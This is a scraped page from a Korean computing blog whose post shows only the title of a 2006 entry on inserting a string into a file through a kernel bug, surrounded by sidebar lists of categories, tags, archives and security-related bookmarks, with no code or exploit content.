  • 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24
2006/11/24 17:06 2006/11/24 17:06
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2346

Leave your greetings.

[로그인][오픈아이디란?]

«Prev  1 ... 890 891 892 893 894 895 896 897 898 ... 3009  Next»

RSS HanRSS
Blog Image
webdizen
이곳은 컴퓨터에 대해 연구하고, 공유하고, 소통하기 위한 연구실입니다. 개인적으로는 OLAP, Data Mining, Semantic Web, Data Modeling에 대해서 연구하고 있습니다.

Categories

전체 (3009)
Webdizen (141)
Life (6)
Diary (16)
Blog (9)
IDEA (2)
Travel (10)
Book (16)
Photo (7)
Movie (8)
Music (14)
Leisure Sports (10)
Funny (6)
Hardware (121)
Software (120)
Windows (5)
Unix & Linux (120)
Installation (5)
Kernel (10)
System (34)
Develop (22)
X-Window (0)
Applicaton (31)
Security (4)
Framework (2)
Hadoop (2)
Programming (804)
Algorithm & Data Structure (1)
Assembly (38)
UNIX/Linux C (95)
C++ (128)
STL (4)
Java (38)
Win32 API (92)
ATL/COM (44)
MFC (151)
.NET (26)
WCF/WPF (4)
C# (28)
Network Programming (17)
Database Programming (12)
OpenGL / DirectX (13)
Multimedia Programming (0)
Game Programming (21)
Parallel Distributed Progra... (0)
Reverse Engineering (0)
Debugging (9)
Python (1)
Ruby (1)
Ruby on Rails (1)
QT (4)
GTK (0)
JSP (0)
PHP (6)
ASP.NET (6)
ASP (2)
Development (28)
Useful Library (2)
Data Modeling (0)
Database (105)
Oracle (4)
MSSQL (41)
MySQL (2)
Data Warehouse (2)
Data Mining (4)
Network (66)
Web (79)
DHTML (4)
XHTML (1)
Javascript (1)
CSS (1)
AJAX (9)
XML (11)
Flex (1)
Silverlight (3)
Security (91)
DoS (1)
Kernel (10)
Scanning (3)
Sniffing (0)
Spoofing (4)
Overflow (28)
Web (11)
Shell (10)
Format String (14)
Window (2)
Embedded (70)
Multimedia (27)
Mobile (14)
Graphic (24)
Management (633)
Knowledge (581)
Hadoop (0)

Notice

  • 메타 블로그 사이트에 등록
  • 새해 맞이 블로그의 변화
  • 블로그 명칭 변경
  • 도메인(www.webdizen.net) 구...
  • TEXTCUBE 1.6.1로 업그레이드...

Tags

  • SARG
  • 태백관
  • ChangeDisplay
  • HyperBac
  • Backlink
  • 4대륙
  • Monitoring
  • Database
  • STL
  • Powershell
  • Designing
  • Architecture
  • MXML
  • Cartesian 곱
  • Webdizen
  • 썬라이즈 페파민트
  • DOM
  • 청년 리더
  • 콩코드
  • Ultimate OSX

Recent Articles

  • 트위터(Twitter)의 시작!.
  • 청년 리더의 조건.
  • 애플의 타블렛 PC - 아이패드....
  • 미래의 인터페이스 - 육감 기....
  • 기초발성법 동영상 강좌.

Recent Comments

  • 학교 과제물중 쓰레드에 대하....
    장진혁 03/17
  • 관리자만 볼 수 있는 댓글입....
    비밀방문자 03/12
  • 상대방의 이야기를 열심히 경....
    DoNuts 03/03
  • Lots of students know techn....
    Bobbi35Shannon 02/25
  • 좋은글 잘 보고 갑니다..
    Und_hacker 01/08

Recent Trackbacks

  • printf,scanf를 이용한 형식....
    yundream의 프로그래밍 이야기 03/10
  • 파일 열기/저장하기 CFileDialog.
    은마군의 나태블록 2009
  • World IT Show 2008.
    상우 :: Oranzie's BLOG 2008
  • cvs서버 설치하기.
    3인3색 2008
  • 속속 공개되는 Google Chart....
    PHP와 Web 2.0 2007

Archive

  • 2010/02 (1)
  • 2010/01 (6)
  • 2009/12 (5)
  • 2009/09 (3)
  • 2009/08 (1)

Calendar

«   2010/03   »
일 월 화 수 목 금 토
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      

Bookmarks

    • Administration
      • IIS.NET
      • NTFAQ
      • OS의 모든 것
      • 리눅스포털
    • Database
      • SQL Server Central
      • SQL Team
    • Development
      • .NET Heaven
      • ASP Alliance
      • ASP.NET 2.0
      • Bullog.net
      • C# Corner
      • C++ (C PlusPlus.com)
      • C++ Reference
      • CodeGuru
      • CodePlex
      • DebugLab
      • Dev Articles
      • Devpia
      • DotNet Junkies
      • DotNet Zone
      • Driver Online
      • GOSU.NET
      • HOONS 닷넷
      • Joinc 팀블로그
      • KOSR
      • MSDN Home Page
      • OSR Online
      • Sky.ph - 개발자 커뮤니...
      • TAEYO.NET
      • The Code Project
      • WindowsClient.net
      • 김상욱의 개발자 Side
      • 조인시 위키
    • Human Networks
      • belief21c's e-space
      • I think I can
      • Invisible Rover's Blog :D
      • Rodman®
      • ■ Feel So Good~! ■
      • 까만 나비
      • 나를 가꾸는 시간.
      • 나만의 즐거움~~!
      • 단녕
      • 상우 :: Oranzie's BLOG
    • Information Technology
      • Microsoft TechNet
      • 지디넷코리아 - 글로벌...
    • Security
      • FoundStone
      • milw0rm
      • NewOrder
      • OpenRCE
      • Phrack.org
      • Reverse Engineering b1...
      • Reverse Engineering Team
      • RootKit
      • SecurityFocus
      • SecurityXploded by Nag...
      • Wow Hacker
      • Zone-H
Textcube
Louice Studio Inc.
Powered by Textcube. Original designed by Tistory.